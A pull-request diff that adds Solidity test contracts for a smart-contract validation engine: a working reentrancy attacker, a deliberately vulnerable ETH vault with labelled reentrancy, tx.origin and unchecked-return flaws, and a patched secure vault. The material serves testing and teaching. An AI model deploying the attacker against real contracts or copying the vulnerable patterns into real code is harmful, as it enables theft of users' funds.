Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
782 changes: 782 additions & 0 deletions docs/validation.md

Large diffs are not rendered by default.

76 changes: 76 additions & 0 deletions examples/contracts/validation/ValidationReentrantAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balances(address) external view returns (uint256);
}

/**
* @title ValidationReentrantAttacker
* @notice Attacker contract for reentrancy validation scenarios.
*
* Demonstrates a classic reentrancy attack:
* 1. Deposit 1 ETH into the target vault
* 2. Call withdraw(1 ETH)
* 3. On receiving ETH, re-enter withdraw again before balances[attacker] is updated
* 4. Repeat until vault is drained or gas runs out
*/
contract ValidationReentrantAttacker {
IVault public target;
address public owner;
uint256 public attackAmount;
uint256 public reentrancyCount;
uint256 public maxReentrancies;

event AttackStarted(address vault, uint256 amount);
event ReentrancyAttempt(uint256 count, uint256 balance);
event AttackComplete(uint256 stolen);

constructor(address _target) {
target = IVault(_target);
owner = msg.sender;
maxReentrancies = 5;
}

function setMaxReentrancies(uint256 n) external {
require(msg.sender == owner, "Not owner");
maxReentrancies = n;
}

/// @notice Step 1: Deposit into the target vault
function deposit() external payable {
target.deposit{value: msg.value}();
attackAmount = msg.value;
}

/// @notice Step 2: Trigger the reentrancy attack
function attack() external {
require(attackAmount > 0, "Call deposit first");
require(msg.sender == owner, "Not owner");
reentrancyCount = 0;
emit AttackStarted(address(target), attackAmount);
target.withdraw(attackAmount);
}

/// @notice Fallback: called when vault sends ETH — re-enter if possible
receive() external payable {
reentrancyCount++;
emit ReentrancyAttempt(reentrancyCount, address(target).balance);
if (reentrancyCount < maxReentrancies && address(target).balance >= attackAmount) {
target.withdraw(attackAmount);
} else {
emit AttackComplete(address(this).balance);
}
}

function withdraw() external {
require(msg.sender == owner, "Not owner");
payable(owner).transfer(address(this).balance);
}

function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
85 changes: 85 additions & 0 deletions examples/contracts/validation/ValidationSecureVault.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title ValidationSecureVault
* @notice Patched reference implementation for validation engine tests.
*
* SECURITY MITIGATIONS:
* 1. Reentrancy: state is updated BEFORE the external call (CEI pattern).
* 2. Auth: uses msg.sender (not tx.origin) throughout.
* 3. Checked transfers: low-level call return values are always checked.
* 4. Reentrancy guard: nonReentrant modifier prevents re-entry.
*/
contract ValidationSecureVault {
mapping(address => uint256) public balances;
address public owner;
bool private _locked;

event Deposit(address indexed user, uint256 amount);
event Withdrawal(address indexed user, uint256 amount);

error Reentrancy();
error InsufficientBalance(uint256 available, uint256 requested);
error NotOwner();
error TransferFailed();
error ZeroAmount();

modifier nonReentrant() {
if (_locked) revert Reentrancy();
_locked = true;
_;
_locked = false;
}

modifier onlyOwner() {
// CP-115 fix: msg.sender not tx.origin
if (msg.sender != owner) revert NotOwner();
_;
}

constructor() {
owner = msg.sender;
}

function deposit() external payable nonReentrant {
if (msg.value == 0) revert ZeroAmount();
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

/// @notice SECURE: effects before interactions (CEI pattern)
function withdraw(uint256 amount) external nonReentrant {
if (amount == 0) revert ZeroAmount();
uint256 bal = balances[msg.sender];
if (bal < amount) revert InsufficientBalance(bal, amount);
// CP-107 fix: state update BEFORE external call
balances[msg.sender] = bal - amount;
emit Withdrawal(msg.sender, amount);
(bool ok, ) = payable(msg.sender).call{value: amount}("");
if (!ok) revert TransferFailed();
}

/// @notice SECURE: msg.sender-based auth
function adminWithdraw(uint256 amount) external onlyOwner nonReentrant {
(bool ok, ) = payable(msg.sender).call{value: amount}("");
if (!ok) revert TransferFailed();
}

/// @notice SECURE: return value always checked
function safeTransfer(address to, uint256 amount) external nonReentrant {
if (amount == 0) revert ZeroAmount();
uint256 bal = balances[msg.sender];
if (bal < amount) revert InsufficientBalance(bal, amount);
balances[msg.sender] = bal - amount;
// CP-104 fix: check the return value
(bool ok, ) = payable(to).call{value: amount}("");
if (!ok) revert TransferFailed();
}

function getBalance() external view returns (uint256) {
return address(this).balance;
}

receive() external payable {}
}
57 changes: 57 additions & 0 deletions examples/contracts/validation/ValidationVulnerableVault.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title ValidationVulnerableVault
* @notice Intentionally vulnerable ETH vault for validation engine tests.
*
* VULNERABILITIES (by design — do not use in production):
* 1. Reentrancy (CP-107): `withdraw` sends ETH before updating `balances`,
* allowing a malicious receiver to re-enter and drain the vault.
* 2. tx.origin auth (CP-115): `adminWithdraw` uses `tx.origin` instead of
* `msg.sender` for owner authentication.
* 3. Unchecked return value (CP-104): `unsafeTransfer` does not check the
* return value of `payable().call{value:...}`.
*/
contract ValidationVulnerableVault {
mapping(address => uint256) public balances;
address public owner;

constructor() {
owner = msg.sender;
}

function deposit() external payable {
balances[msg.sender] += msg.value;
}

/// @notice VULNERABLE: state update happens AFTER the external call
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
// CP-107: send before state update — reentrancy window
(bool ok, ) = payable(msg.sender).call{value: amount}("");
require(ok, "Transfer failed");
balances[msg.sender] -= amount;
}

/// @notice VULNERABLE: tx.origin used for authentication
function adminWithdraw(uint256 amount) external {
// CP-115: should use msg.sender, not tx.origin
require(tx.origin == owner, "Not owner");
payable(tx.origin).transfer(amount);
}

/// @notice VULNERABLE: return value not checked
function unsafeTransfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient");
balances[msg.sender] -= amount;
// CP-104: low-level call return value ignored
payable(to).call{value: amount}(""); // solhint-disable-line
}

function getBalance() external view returns (uint256) {
return address(this).balance;
}

receive() external payable {}
}
Loading